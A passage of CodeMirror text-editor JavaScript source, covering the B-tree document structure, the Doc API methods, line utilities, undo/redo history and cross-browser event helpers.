for (var j = 0; j < spans.length; ++j) {
var sp = spans[j], m = sp.marker;
if (sp.from <= pos && (sp.to == null || sp.to > pos)) {
if (sp.to != null && nextChange > sp.to) { nextChange = sp.to; spanEndStyle = ""; }
if (m.className) spanStyle += " " + m.className;
if (m.startStyle && sp.from == pos) spanStartStyle += " " + m.startStyle;
if (m.endStyle && sp.to == nextChange) spanEndStyle += " " + m.endStyle;
if (m.title && !title) title = m.title;
if (m.collapsed && (!collapsed || compareCollapsedMarkers(collapsed.marker, m) < 0))
collapsed = sp;
} else if (sp.from > pos && nextChange > sp.from) {
nextChange = sp.from;
}
if (m.type == "bookmark" && sp.from == pos && m.widgetNode) foundBookmarks.push(m);
}
if (collapsed && (collapsed.from || 0) == pos) {
buildCollapsedSpan(builder, (collapsed.to == null ? len + 1 : collapsed.to) - pos,
collapsed.marker, collapsed.from == null);
if (collapsed.to == null) return;
}
if (!collapsed && foundBookmarks.length) for (var j = 0; j < foundBookmarks.length; ++j)
buildCollapsedSpan(builder, 0, foundBookmarks[j]);
}
if (pos >= len) break;
var upto = Math.min(len, nextChange);
while (true) {
if (text) {
var end = pos + text.length;
if (!collapsed) {
var tokenText = end > upto ? text.slice(0, upto - pos) : text;
builder.addToken(builder, tokenText, style ? style + spanStyle : spanStyle,
spanStartStyle, pos + tokenText.length == nextChange ? spanEndStyle : "", title);
}
if (end >= upto) {text = text.slice(upto - pos); pos = upto; break;}
pos = end;
spanStartStyle = "";
}
text = allText.slice(at, at = styles[i++]);
style = interpretTokenStyle(styles[i++], builder.cm.options);
}
}
}
// DOCUMENT DATA STRUCTURE
// By default, updates that start and end at the beginning of a line
// are treated specially, in order to make the association of line
// widgets and marker elements with the text behave more intuitive.
function isWholeLineUpdate(doc, change) {
return change.from.ch == 0 && change.to.ch == 0 && lst(change.text) == "" &&
(!doc.cm || doc.cm.options.wholeLineUpdateBefore);
}
// Perform a change on the document data structure.
function updateDoc(doc, change, markedSpans, estimateHeight) {
function spansFor(n) {return markedSpans ? markedSpans[n] : null;}
function update(line, text, spans) {
updateLine(line, text, spans, estimateHeight);
signalLater(line, "change", line, change);
}
var from = change.from, to = change.to, text = change.text;
var firstLine = getLine(doc, from.line), lastLine = getLine(doc, to.line);
var lastText = lst(text), lastSpans = spansFor(text.length - 1), nlines = to.line - from.line;
// Adjust the line structure
if (isWholeLineUpdate(doc, change)) {
// This is a whole-line replace. Treated specially to make
// sure line objects move the way they are supposed to.
for (var i = 0, added = []; i < text.length - 1; ++i)
added.push(new Line(text[i], spansFor(i), estimateHeight));
update(lastLine, lastLine.text, lastSpans);
if (nlines) doc.remove(from.line, nlines);
if (added.length) doc.insert(from.line, added);
} else if (firstLine == lastLine) {
if (text.length == 1) {
update(firstLine, firstLine.text.slice(0, from.ch) + lastText + firstLine.text.slice(to.ch), lastSpans);
} else {
for (var added = [], i = 1; i < text.length - 1; ++i)
added.push(new Line(text[i], spansFor(i), estimateHeight));
added.push(new Line(lastText + firstLine.text.slice(to.ch), lastSpans, estimateHeight));
update(firstLine, firstLine.text.slice(0, from.ch) + text[0], spansFor(0));
doc.insert(from.line + 1, added);
}
} else if (text.length == 1) {
update(firstLine, firstLine.text.slice(0, from.ch) + text[0] + lastLine.text.slice(to.ch), spansFor(0));
doc.remove(from.line + 1, nlines);
} else {
update(firstLine, firstLine.text.slice(0, from.ch) + text[0], spansFor(0));
update(lastLine, lastText + lastLine.text.slice(to.ch), lastSpans);
for (var i = 1, added = []; i < text.length - 1; ++i)
added.push(new Line(text[i], spansFor(i), estimateHeight));
if (nlines > 1) doc.remove(from.line + 1, nlines - 1);
doc.insert(from.line + 1, added);
}
signalLater(doc, "change", doc, change);
}
// The document is represented as a BTree consisting of leaves, with
// chunk of lines in them, and branches, with up to ten leaves or
// other branch nodes below them. The top node is always a branch
// node, and is the document object itself (meaning it has
// additional methods and properties).
//
// All nodes have parent links. The tree is used both to go from
// line numbers to line objects, and to go from objects to numbers.
// It also indexes by height, and is used to convert between height
// and line object, and to find the total height of the document.
//
// See also http://marijnhaverbeke.nl/blog/codemirror-line-tree.html
function LeafChunk(lines) {
this.lines = lines;
this.parent = null;
for (var i = 0, height = 0; i < lines.length; ++i) {
lines[i].parent = this;
height += lines[i].height;
}
this.height = height;
}
LeafChunk.prototype = {
chunkSize: function() { return this.lines.length; },
// Remove the n lines at offset 'at'.
removeInner: function(at, n) {
for (var i = at, e = at + n; i < e; ++i) {
var line = this.lines[i];
this.height -= line.height;
cleanUpLine(line);
signalLater(line, "delete");
}
this.lines.splice(at, n);
},
// Helper used to collapse a small branch into a single leaf.
collapse: function(lines) {
lines.push.apply(lines, this.lines);
},
// Insert the given array of lines at offset 'at', count them as
// having the given height.
insertInner: function(at, lines, height) {
this.height += height;
this.lines = this.lines.slice(0, at).concat(lines).concat(this.lines.slice(at));
for (var i = 0; i < lines.length; ++i) lines[i].parent = this;
},
// Used to iterate over a part of the tree.
iterN: function(at, n, op) {
for (var e = at + n; at < e; ++at)
if (op(this.lines[at])) return true;
}
};
function BranchChunk(children) {
this.children = children;
var size = 0, height = 0;
for (var i = 0; i < children.length; ++i) {
var ch = children[i];
size += ch.chunkSize(); height += ch.height;
ch.parent = this;
}
this.size = size;
this.height = height;
this.parent = null;
}
BranchChunk.prototype = {
chunkSize: function() { return this.size; },
removeInner: function(at, n) {
this.size -= n;
for (var i = 0; i < this.children.length; ++i) {
var child = this.children[i], sz = child.chunkSize();
if (at < sz) {
var rm = Math.min(n, sz - at), oldHeight = child.height;
child.removeInner(at, rm);
this.height -= oldHeight - child.height;
if (sz == rm) { this.children.splice(i--, 1); child.parent = null; }
if ((n -= rm) == 0) break;
at = 0;
} else at -= sz;
}
// If the result is smaller than 25 lines, ensure that it is a
// single leaf node.
if (this.size - n < 25 &&
(this.children.length > 1 || !(this.children[0] instanceof LeafChunk))) {
var lines = [];
this.collapse(lines);
this.children = [new LeafChunk(lines)];
this.children[0].parent = this;
}
},
collapse: function(lines) {
for (var i = 0; i < this.children.length; ++i) this.children[i].collapse(lines);
},
insertInner: function(at, lines, height) {
this.size += lines.length;
this.height += height;
for (var i = 0; i < this.children.length; ++i) {
var child = this.children[i], sz = child.chunkSize();
if (at <= sz) {
child.insertInner(at, lines, height);
if (child.lines && child.lines.length > 50) {
while (child.lines.length > 50) {
var spilled = child.lines.splice(child.lines.length - 25, 25);
var newleaf = new LeafChunk(spilled);
child.height -= newleaf.height;
this.children.splice(i + 1, 0, newleaf);
newleaf.parent = this;
}
this.maybeSpill();
}
break;
}
at -= sz;
}
},
// When a node has grown, check whether it should be split.
maybeSpill: function() {
if (this.children.length <= 10) return;
var me = this;
do {
var spilled = me.children.splice(me.children.length - 5, 5);
var sibling = new BranchChunk(spilled);
if (!me.parent) { // Become the parent node
var copy = new BranchChunk(me.children);
copy.parent = me;
me.children = [copy, sibling];
me = copy;
} else {
me.size -= sibling.size;
me.height -= sibling.height;
var myIndex = indexOf(me.parent.children, me);
me.parent.children.splice(myIndex + 1, 0, sibling);
}
sibling.parent = me.parent;
} while (me.children.length > 10);
me.parent.maybeSpill();
},
iterN: function(at, n, op) {
for (var i = 0; i < this.children.length; ++i) {
var child = this.children[i], sz = child.chunkSize();
if (at < sz) {
var used = Math.min(n, sz - at);
if (child.iterN(at, used, op)) return true;
if ((n -= used) == 0) break;
at = 0;
} else at -= sz;
}
}
};
var nextDocId = 0;
var Doc = CodeMirror.Doc = function(text, mode, firstLine) {
if (!(this instanceof Doc)) return new Doc(text, mode, firstLine);
if (firstLine == null) firstLine = 0;
BranchChunk.call(this, [new LeafChunk([new Line("", null)])]);
this.first = firstLine;
this.scrollTop = this.scrollLeft = 0;
this.cantEdit = false;
this.cleanGeneration = 1;
this.frontier = firstLine;
var start = Pos(firstLine, 0);
this.sel = simpleSelection(start);
this.history = new History(null);
this.id = ++nextDocId;
this.modeOption = mode;
if (typeof text == "string") text = splitLines(text);
updateDoc(this, {from: start, to: start, text: text});
setSelection(this, simpleSelection(start), sel_dontScroll);
};
Doc.prototype = createObj(BranchChunk.prototype, {
constructor: Doc,
// Iterate over the document. Supports two forms -- with only one
// argument, it calls that for each line in the document. With
// three, it iterates over the range given by the first two (with
// the second being non-inclusive).
iter: function(from, to, op) {
if (op) this.iterN(from - this.first, to - from, op);
else this.iterN(this.first, this.first + this.size, from);
},
// Non-public interface for adding and removing lines.
insert: function(at, lines) {
var height = 0;
for (var i = 0; i < lines.length; ++i) height += lines[i].height;
this.insertInner(at - this.first, lines, height);
},
remove: function(at, n) { this.removeInner(at - this.first, n); },
// From here, the methods are part of the public interface. Most
// are also available from CodeMirror (editor) instances.
getValue: function(lineSep) {
var lines = getLines(this, this.first, this.first + this.size);
if (lineSep === false) return lines;
return lines.join(lineSep || "\n");
},
setValue: docMethodOp(function(code) {
var top = Pos(this.first, 0), last = this.first + this.size - 1;
makeChange(this, {from: top, to: Pos(last, getLine(this, last).text.length),
text: splitLines(code), origin: "setValue"}, true);
setSelection(this, simpleSelection(top));
}),
replaceRange: function(code, from, to, origin) {
from = clipPos(this, from);
to = to ? clipPos(this, to) : from;
replaceRange(this, code, from, to, origin);
},
getRange: function(from, to, lineSep) {
var lines = getBetween(this, clipPos(this, from), clipPos(this, to));
if (lineSep === false) return lines;
return lines.join(lineSep || "\n");
},
getLine: function(line) {var l = this.getLineHandle(line); return l && l.text;},
getLineHandle: function(line) {if (isLine(this, line)) return getLine(this, line);},
getLineNumber: function(line) {return lineNo(line);},
getLineHandleVisualStart: function(line) {
if (typeof line == "number") line = getLine(this, line);
return visualLine(line);
},
lineCount: function() {return this.size;},
firstLine: function() {return this.first;},
lastLine: function() {return this.first + this.size - 1;},
clipPos: function(pos) {return clipPos(this, pos);},
getCursor: function(start) {
var range = this.sel.primary(), pos;
if (start == null || start == "head") pos = range.head;
else if (start == "anchor") pos = range.anchor;
else if (start == "end" || start == "to" || start === false) pos = range.to();
else pos = range.from();
return pos;
},
listSelections: function() { return this.sel.ranges; },
somethingSelected: function() {return this.sel.somethingSelected();},
setCursor: docMethodOp(function(line, ch, options) {
setSimpleSelection(this, clipPos(this, typeof line == "number" ? Pos(line, ch || 0) : line), null, options);
}),
setSelection: docMethodOp(function(anchor, head, options) {
setSimpleSelection(this, clipPos(this, anchor), clipPos(this, head || anchor), options);
}),
extendSelection: docMethodOp(function(head, other, options) {
extendSelection(this, clipPos(this, head), other && clipPos(this, other), options);
}),
extendSelections: docMethodOp(function(heads, options) {
extendSelections(this, clipPosArray(this, heads, options));
}),
extendSelectionsBy: docMethodOp(function(f, options) {
extendSelections(this, map(this.sel.ranges, f), options);
}),
setSelections: docMethodOp(function(ranges, primary, options) {
if (!ranges.length) return;
for (var i = 0, out = []; i < ranges.length; i++)
out[i] = new Range(clipPos(this, ranges[i].anchor),
clipPos(this, ranges[i].head));
if (primary == null) primary = Math.min(ranges.length - 1, this.sel.primIndex);
setSelection(this, normalizeSelection(out, primary), options);
}),
addSelection: docMethodOp(function(anchor, head, options) {
var ranges = this.sel.ranges.slice(0);
ranges.push(new Range(clipPos(this, anchor), clipPos(this, head || anchor)));
setSelection(this, normalizeSelection(ranges, ranges.length - 1), options);
}),
getSelection: function(lineSep) {
var ranges = this.sel.ranges, lines;
for (var i = 0; i < ranges.length; i++) {
var sel = getBetween(this, ranges[i].from(), ranges[i].to());
lines = lines ? lines.concat(sel) : sel;
}
if (lineSep === false) return lines;
else return lines.join(lineSep || "\n");
},
getSelections: function(lineSep) {
var parts = [], ranges = this.sel.ranges;
for (var i = 0; i < ranges.length; i++) {
var sel = getBetween(this, ranges[i].from(), ranges[i].to());
if (lineSep !== false) sel = sel.join(lineSep || "\n");
parts[i] = sel;
}
return parts;
},
replaceSelection: function(code, collapse, origin) {
var dup = [];
for (var i = 0; i < this.sel.ranges.length; i++)
dup[i] = code;
this.replaceSelections(dup, collapse, origin || "+input");
},
replaceSelections: docMethodOp(function(code, collapse, origin) {
var changes = [], sel = this.sel;
for (var i = 0; i < sel.ranges.length; i++) {
var range = sel.ranges[i];
changes[i] = {from: range.from(), to: range.to(), text: splitLines(code[i]), origin: origin};
}
var newSel = collapse && collapse != "end" && computeReplacedSel(this, changes, collapse);
for (var i = changes.length - 1; i >= 0; i--)
makeChange(this, changes[i]);
if (newSel) setSelectionReplaceHistory(this, newSel);
else if (this.cm) ensureCursorVisible(this.cm);
}),
undo: docMethodOp(function() {makeChangeFromHistory(this, "undo");}),
redo: docMethodOp(function() {makeChangeFromHistory(this, "redo");}),
undoSelection: docMethodOp(function() {makeChangeFromHistory(this, "undo", true);}),
redoSelection: docMethodOp(function() {makeChangeFromHistory(this, "redo", true);}),
setExtending: function(val) {this.extend = val;},
getExtending: function() {return this.extend;},
historySize: function() {
var hist = this.history, done = 0, undone = 0;
for (var i = 0; i < hist.done.length; i++) if (!hist.done[i].ranges) ++done;
for (var i = 0; i < hist.undone.length; i++) if (!hist.undone[i].ranges) ++undone;
return {undo: done, redo: undone};
},
clearHistory: function() {this.history = new History(this.history.maxGeneration);},
markClean: function() {
this.cleanGeneration = this.changeGeneration(true);
},
changeGeneration: function(forceSplit) {
if (forceSplit)
this.history.lastOp = this.history.lastSelOp = this.history.lastOrigin = null;
return this.history.generation;
},
isClean: function (gen) {
return this.history.generation == (gen || this.cleanGeneration);
},
getHistory: function() {
return {done: copyHistoryArray(this.history.done),
undone: copyHistoryArray(this.history.undone)};
},
setHistory: function(histData) {
var hist = this.history = new History(this.history.maxGeneration);
hist.done = copyHistoryArray(histData.done.slice(0), null, true);
hist.undone = copyHistoryArray(histData.undone.slice(0), null, true);
},
addLineClass: docMethodOp(function(handle, where, cls) {
return changeLine(this, handle, "class", function(line) {
var prop = where == "text" ? "textClass" : where == "background" ? "bgClass" : "wrapClass";
if (!line[prop]) line[prop] = cls;
else if (new RegExp("(?:^|\\s)" + cls + "(?:$|\\s)").test(line[prop])) return false;
else line[prop] += " " + cls;
return true;
});
}),
removeLineClass: docMethodOp(function(handle, where, cls) {
return changeLine(this, handle, "class", function(line) {
var prop = where == "text" ? "textClass" : where == "background" ? "bgClass" : "wrapClass";
var cur = line[prop];
if (!cur) return false;
else if (cls == null) line[prop] = null;
else {
var found = cur.match(new RegExp("(?:^|\\s+)" + cls + "(?:$|\\s+)"));
if (!found) return false;
var end = found.index + found[0].length;
line[prop] = cur.slice(0, found.index) + (!found.index || end == cur.length ? "" : " ") + cur.slice(end) || null;
}
return true;
});
}),
markText: function(from, to, options) {
return markText(this, clipPos(this, from), clipPos(this, to), options, "range");
},
setBookmark: function(pos, options) {
var realOpts = {replacedWith: options && (options.nodeType == null ? options.widget : options),
insertLeft: options && options.insertLeft,
clearWhenEmpty: false, shared: options && options.shared};
pos = clipPos(this, pos);
return markText(this, pos, pos, realOpts, "bookmark");
},
findMarksAt: function(pos) {
pos = clipPos(this, pos);
var markers = [], spans = getLine(this, pos.line).markedSpans;
if (spans) for (var i = 0; i < spans.length; ++i) {
var span = spans[i];
if ((span.from == null || span.from <= pos.ch) &&
(span.to == null || span.to >= pos.ch))
markers.push(span.marker.parent || span.marker);
}
return markers;
},
findMarks: function(from, to, filter) {
from = clipPos(this, from); to = clipPos(this, to);
var found = [], lineNo = from.line;
this.iter(from.line, to.line + 1, function(line) {
var spans = line.markedSpans;
if (spans) for (var i = 0; i < spans.length; i++) {
var span = spans[i];
if (!(lineNo == from.line && from.ch > span.to ||
span.from == null && lineNo != from.line||
lineNo == to.line && span.from > to.ch) &&
(!filter || filter(span.marker)))
found.push(span.marker.parent || span.marker);
}
++lineNo;
});
return found;
},
getAllMarks: function() {
var markers = [];
this.iter(function(line) {
var sps = line.markedSpans;
if (sps) for (var i = 0; i < sps.length; ++i)
if (sps[i].from != null) markers.push(sps[i].marker);
});
return markers;
},
posFromIndex: function(off) {
var ch, lineNo = this.first;
this.iter(function(line) {
var sz = line.text.length + 1;
if (sz > off) { ch = off; return true; }
off -= sz;
++lineNo;
});
return clipPos(this, Pos(lineNo, ch));
},
indexFromPos: function (coords) {
coords = clipPos(this, coords);
var index = coords.ch;
if (coords.line < this.first || coords.ch < 0) return 0;
this.iter(this.first, coords.line, function (line) {
index += line.text.length + 1;
});
return index;
},
copy: function(copyHistory) {
var doc = new Doc(getLines(this, this.first, this.first + this.size), this.modeOption, this.first);
doc.scrollTop = this.scrollTop; doc.scrollLeft = this.scrollLeft;
doc.sel = this.sel;
doc.extend = false;
if (copyHistory) {
doc.history.undoDepth = this.history.undoDepth;
doc.setHistory(this.getHistory());
}
return doc;
},
linkedDoc: function(options) {
if (!options) options = {};
var from = this.first, to = this.first + this.size;
if (options.from != null && options.from > from) from = options.from;
if (options.to != null && options.to < to) to = options.to;
var copy = new Doc(getLines(this, from, to), options.mode || this.modeOption, from);
if (options.sharedHist) copy.history = this.history;
(this.linked || (this.linked = [])).push({doc: copy, sharedHist: options.sharedHist});
copy.linked = [{doc: this, isParent: true, sharedHist: options.sharedHist}];
copySharedMarkers(copy, findSharedMarkers(this));
return copy;
},
unlinkDoc: function(other) {
if (other instanceof CodeMirror) other = other.doc;
if (this.linked) for (var i = 0; i < this.linked.length; ++i) {
var link = this.linked[i];
if (link.doc != other) continue;
this.linked.splice(i, 1);
other.unlinkDoc(this);
detachSharedMarkers(findSharedMarkers(this));
break;
}
// If the histories were shared, split them again
if (other.history == this.history) {
var splitIds = [other.id];
linkedDocs(other, function(doc) {splitIds.push(doc.id);}, true);
other.history = new History(null);
other.history.done = copyHistoryArray(this.history.done, splitIds);
other.history.undone = copyHistoryArray(this.history.undone, splitIds);
}
},
iterLinkedDocs: function(f) {linkedDocs(this, f);},
getMode: function() {return this.mode;},
getEditor: function() {return this.cm;}
});
// Public alias.
Doc.prototype.eachLine = Doc.prototype.iter;
// Set up methods on CodeMirror's prototype to redirect to the editor's document.
var dontDelegate = "iter insert remove copy getEditor".split(" ");
for (var prop in Doc.prototype) if (Doc.prototype.hasOwnProperty(prop) && indexOf(dontDelegate, prop) < 0)
CodeMirror.prototype[prop] = (function(method) {
return function() {return method.apply(this.doc, arguments);};
})(Doc.prototype[prop]);
eventMixin(Doc);
// Call f for all linked documents.
function linkedDocs(doc, f, sharedHistOnly) {
function propagate(doc, skip, sharedHist) {
if (doc.linked) for (var i = 0; i < doc.linked.length; ++i) {
var rel = doc.linked[i];
if (rel.doc == skip) continue;
var shared = sharedHist && rel.sharedHist;
if (sharedHistOnly && !shared) continue;
f(rel.doc, shared);
propagate(rel.doc, doc, shared);
}
}
propagate(doc, null, true);
}
// Attach a document to an editor.
function attachDoc(cm, doc) {
if (doc.cm) throw new Error("This document is already in use.");
cm.doc = doc;
doc.cm = cm;
estimateLineHeights(cm);
loadMode(cm);
if (!cm.options.lineWrapping) findMaxLine(cm);
cm.options.mode = doc.modeOption;
regChange(cm);
}
// LINE UTILITIES
// Find the line object corresponding to the given line number.
function getLine(doc, n) {
n -= doc.first;
if (n < 0 || n >= doc.size) throw new Error("There is no line " + (n + doc.first) + " in the document.");
for (var chunk = doc; !chunk.lines;) {
for (var i = 0;; ++i) {
var child = chunk.children[i], sz = child.chunkSize();
if (n < sz) { chunk = child; break; }
n -= sz;
}
}
return chunk.lines[n];
}
// Get the part of a document between two positions, as an array of
// strings.
function getBetween(doc, start, end) {
var out = [], n = start.line;
doc.iter(start.line, end.line + 1, function(line) {
var text = line.text;
if (n == end.line) text = text.slice(0, end.ch);
if (n == start.line) text = text.slice(start.ch);
out.push(text);
++n;
});
return out;
}
// Get the lines between from and to, as array of strings.
function getLines(doc, from, to) {
var out = [];
doc.iter(from, to, function(line) { out.push(line.text); });
return out;
}
// Update the height of a line, propagating the height change
// upwards to parent nodes.
function updateLineHeight(line, height) {
var diff = height - line.height;
if (diff) for (var n = line; n; n = n.parent) n.height += diff;
}
// Given a line object, find its line number by walking up through
// its parent links.
function lineNo(line) {
if (line.parent == null) return null;
var cur = line.parent, no = indexOf(cur.lines, line);
for (var chunk = cur.parent; chunk; cur = chunk, chunk = chunk.parent) {
for (var i = 0;; ++i) {
if (chunk.children[i] == cur) break;
no += chunk.children[i].chunkSize();
}
}
return no + cur.first;
}
// Find the line at the given vertical position, using the height
// information in the document tree.
function lineAtHeight(chunk, h) {
var n = chunk.first;
outer: do {
for (var i = 0; i < chunk.children.length; ++i) {
var child = chunk.children[i], ch = child.height;
if (h < ch) { chunk = child; continue outer; }
h -= ch;
n += child.chunkSize();
}
return n;
} while (!chunk.lines);
for (var i = 0; i < chunk.lines.length; ++i) {
var line = chunk.lines[i], lh = line.height;
if (h < lh) break;
h -= lh;
}
return n + i;
}
// Find the height above the given line.
function heightAtLine(lineObj) {
lineObj = visualLine(lineObj);
var h = 0, chunk = lineObj.parent;
for (var i = 0; i < chunk.lines.length; ++i) {
var line = chunk.lines[i];
if (line == lineObj) break;
else h += line.height;
}
for (var p = chunk.parent; p; chunk = p, p = chunk.parent) {
for (var i = 0; i < p.children.length; ++i) {
var cur = p.children[i];
if (cur == chunk) break;
else h += cur.height;
}
}
return h;
}
// Get the bidi ordering for the given line (and cache it). Returns
// false for lines that are fully left-to-right, and an array of
// BidiSpan objects otherwise.
function getOrder(line) {
var order = line.order;
if (order == null) order = line.order = bidiOrdering(line.text);
return order;
}
// HISTORY
function History(startGen) {
// Arrays of change events and selections. Doing something adds an
// event to done and clears undo. Undoing moves events from done
// to undone, redoing moves them in the other direction.
this.done = []; this.undone = [];
this.undoDepth = Infinity;
// Used to track when changes can be merged into a single undo
// event
this.lastModTime = this.lastSelTime = 0;
this.lastOp = this.lastSelOp = null;
this.lastOrigin = this.lastSelOrigin = null;
// Used by the isClean() method
this.generation = this.maxGeneration = startGen || 1;
}
// Create a history change event from an updateDoc-style change
// object.
function historyChangeFromChange(doc, change) {
var histChange = {from: copyPos(change.from), to: changeEnd(change), text: getBetween(doc, change.from, change.to)};
attachLocalSpans(doc, histChange, change.from.line, change.to.line + 1);
linkedDocs(doc, function(doc) {attachLocalSpans(doc, histChange, change.from.line, change.to.line + 1);}, true);
return histChange;
}
// Pop all selection events off the end of a history array. Stop at
// a change event.
function clearSelectionEvents(array) {
while (array.length) {
var last = lst(array);
if (last.ranges) array.pop();
else break;
}
}
// Find the top change event in the history. Pop off selection
// events that are in the way.
function lastChangeEvent(hist, force) {
if (force) {
clearSelectionEvents(hist.done);
return lst(hist.done);
} else if (hist.done.length && !lst(hist.done).ranges) {
return lst(hist.done);
} else if (hist.done.length > 1 && !hist.done[hist.done.length - 2].ranges) {
hist.done.pop();
return lst(hist.done);
}
}
// Register a change in the history. Merges changes that are within
// a single operation, ore are close together with an origin that
// allows merging (starting with "+") into a single event.
function addChangeToHistory(doc, change, selAfter, opId) {
var hist = doc.history;
hist.undone.length = 0;
var time = +new Date, cur;
if ((hist.lastOp == opId ||
hist.lastOrigin == change.origin && change.origin &&
((change.origin.charAt(0) == "+" && doc.cm && hist.lastModTime > time - doc.cm.options.historyEventDelay) ||
change.origin.charAt(0) == "*")) &&
(cur = lastChangeEvent(hist, hist.lastOp == opId))) {
// Merge this change into the last event
var last = lst(cur.changes);
if (cmp(change.from, change.to) == 0 && cmp(change.from, last.to) == 0) {
// Optimized case for simple insertion -- don't want to add
// new changesets for every character typed
last.to = changeEnd(change);
} else {
// Add new sub-event
cur.changes.push(historyChangeFromChange(doc, change));
}
} else {
// Can not be merged, start a new event.
var before = lst(hist.done);
if (!before || !before.ranges)
pushSelectionToHistory(doc.sel, hist.done);
cur = {changes: [historyChangeFromChange(doc, change)],
generation: hist.generation};
hist.done.push(cur);
while (hist.done.length > hist.undoDepth) {
hist.done.shift();
if (!hist.done[0].ranges) hist.done.shift();
}
}
hist.done.push(selAfter);
hist.generation = ++hist.maxGeneration;
hist.lastModTime = hist.lastSelTime = time;
hist.lastOp = hist.lastSelOp = opId;
hist.lastOrigin = hist.lastSelOrigin = change.origin;
if (!last) signal(doc, "historyAdded");
}
function selectionEventCanBeMerged(doc, origin, prev, sel) {
var ch = origin.charAt(0);
return ch == "*" ||
ch == "+" &&
prev.ranges.length == sel.ranges.length &&
prev.somethingSelected() == sel.somethingSelected() &&
new Date - doc.history.lastSelTime <= (doc.cm ? doc.cm.options.historyEventDelay : 500);
}
// Called whenever the selection changes, sets the new selection as
// the pending selection in the history, and pushes the old pending
// selection into the 'done' array when it was significantly
// different (in number of selected ranges, emptiness, or time).
function addSelectionToHistory(doc, sel, opId, options) {
var hist = doc.history, origin = options && options.origin;
// A new event is started when the previous origin does not match
// the current, or the origins don't allow matching. Origins
// starting with * are always merged, those starting with + are
// merged when similar and close together in time.
if (opId == hist.lastSelOp ||
(origin && hist.lastSelOrigin == origin &&
(hist.lastModTime == hist.lastSelTime && hist.lastOrigin == origin ||
selectionEventCanBeMerged(doc, origin, lst(hist.done), sel))))
hist.done[hist.done.length - 1] = sel;
else
pushSelectionToHistory(sel, hist.done);
hist.lastSelTime = +new Date;
hist.lastSelOrigin = origin;
hist.lastSelOp = opId;
if (options && options.clearRedo !== false)
clearSelectionEvents(hist.undone);
}
function pushSelectionToHistory(sel, dest) {
var top = lst(dest);
if (!(top && top.ranges && top.equals(sel)))
dest.push(sel);
}
// Used to store marked span information in the history.
function attachLocalSpans(doc, change, from, to) {
var existing = change["spans_" + doc.id], n = 0;
doc.iter(Math.max(doc.first, from), Math.min(doc.first + doc.size, to), function(line) {
if (line.markedSpans)
(existing || (existing = change["spans_" + doc.id] = {}))[n] = line.markedSpans;
++n;
});
}
// When un/re-doing restores text containing marked spans, those
// that have been explicitly cleared should not be restored.
function removeClearedSpans(spans) {
if (!spans) return null;
for (var i = 0, out; i < spans.length; ++i) {
if (spans[i].marker.explicitlyCleared) { if (!out) out = spans.slice(0, i); }
else if (out) out.push(spans[i]);
}
return !out ? spans : out.length ? out : null;
}
// Retrieve and filter the old marked spans stored in a change event.
function getOldSpans(doc, change) {
var found = change["spans_" + doc.id];
if (!found) return null;
for (var i = 0, nw = []; i < change.text.length; ++i)
nw.push(removeClearedSpans(found[i]));
return nw;
}
// Used both to provide a JSON-safe object in .getHistory, and, when
// detaching a document, to split the history in two
function copyHistoryArray(events, newGroup, instantiateSel) {
for (var i = 0, copy = []; i < events.length; ++i) {
var event = events[i];
if (event.ranges) {
copy.push(instantiateSel ? Selection.prototype.deepCopy.call(event) : event);
continue;
}
var changes = event.changes, newChanges = [];
copy.push({changes: newChanges});
for (var j = 0; j < changes.length; ++j) {
var change = changes[j], m;
newChanges.push({from: change.from, to: change.to, text: change.text});
if (newGroup) for (var prop in change) if (m = prop.match(/^spans_(\d+)$/)) {
if (indexOf(newGroup, Number(m[1])) > -1) {
lst(newChanges)[prop] = change[prop];
delete change[prop];
}
}
}
}
return copy;
}
// Rebasing/resetting history to deal with externally-sourced changes
function rebaseHistSelSingle(pos, from, to, diff) {
if (to < pos.line) {
pos.line += diff;
} else if (from < pos.line) {
pos.line = from;
pos.ch = 0;
}
}
// Tries to rebase an array of history events given a change in the
// document. If the change touches the same lines as the event, the
// event, and everything 'behind' it, is discarded. If the change is
// before the event, the event's positions are updated. Uses a
// copy-on-write scheme for the positions, to avoid having to
// reallocate them all on every rebase, but also avoid problems with
// shared position objects being unsafely updated.
function rebaseHistArray(array, from, to, diff) {
for (var i = 0; i < array.length; ++i) {
var sub = array[i], ok = true;
if (sub.ranges) {
if (!sub.copied) { sub = array[i] = sub.deepCopy(); sub.copied = true; }
for (var j = 0; j < sub.ranges.length; j++) {
rebaseHistSelSingle(sub.ranges[j].anchor, from, to, diff);
rebaseHistSelSingle(sub.ranges[j].head, from, to, diff);
}
continue;
}
for (var j = 0; j < sub.changes.length; ++j) {
var cur = sub.changes[j];
if (to < cur.from.line) {
cur.from = Pos(cur.from.line + diff, cur.from.ch);
cur.to = Pos(cur.to.line + diff, cur.to.ch);
} else if (from <= cur.to.line) {
ok = false;
break;
}
}
if (!ok) {
array.splice(0, i + 1);
i = 0;
}
}
}
function rebaseHist(hist, change) {
var from = change.from.line, to = change.to.line, diff = change.text.length - (to - from) - 1;
rebaseHistArray(hist.done, from, to, diff);
rebaseHistArray(hist.undone, from, to, diff);
}
// EVENT UTILITIES
// Due to the fact that we still support jurassic IE versions, some
// compatibility wrappers are needed.
var e_preventDefault = CodeMirror.e_preventDefault = function(e) {
if (e.preventDefault) e.preventDefault();
else e.returnValue = false;
};
var e_stopPropagation = CodeMirror.e_stopPropagation = function(e) {
if (e.stopPropagation) e.stopPropagation();
else e.cancelBubble = true;
};
function e_defaultPrevented(e) {
return e.defaultPrevented != null ? e.defaultPrevented : e.returnValue == false;
}
var e_stop = CodeMirror.e_stop = function(e) {e_preventDefault(e); e_stopPropagation(e);};
function e_target(e) {return e.target || e.srcElement;}
function e_button(e) {
var b = e.which;
if (b == null) {
if (e.button & 1) b = 1;
else if (e.button & 2) b = 3;
else if (e.button & 4) b = 2;
}
if (mac && e.ctrlKey && b == 1) b = 3;
return b;
}
// EVENT HANDLING
// Lightweight event framework. on/off also work on DOM nodes,
// registering native DOM handlers.
var on = CodeMirror.on = function(emitter, type, f) {
if (emitter.addEventListener)
emitter.addEventListener(type, f, false);
else if (emitter.attachEvent)
emitter.attachEvent("on" + type, f);
else {
var map = emitter._handlers || (emitter._handlers = {});
var arr = map[type] || (map[type] = []);
arr.push(f);
}
};
var off = CodeMirror.off = function(emitter, type, f) {
if (emitter.removeEventListener)
emitter.removeEventListener(type, f, false);
else if (emitter.detachEvent)
emitter.detachEvent("on" + type, f);
else {
var arr = emitter._handlers && emitter._handlers[type];
if (!arr) return;
for (var i = 0; i < arr.length; ++i)
if (arr[i] == f) { arr.splice(i, 1); break; }
}
};
var signal = CodeMirror.signal = function(emitter, type /*, values...*/) {
var arr = emitter._handlers && emitter._handlers[type];
if (!arr) return;
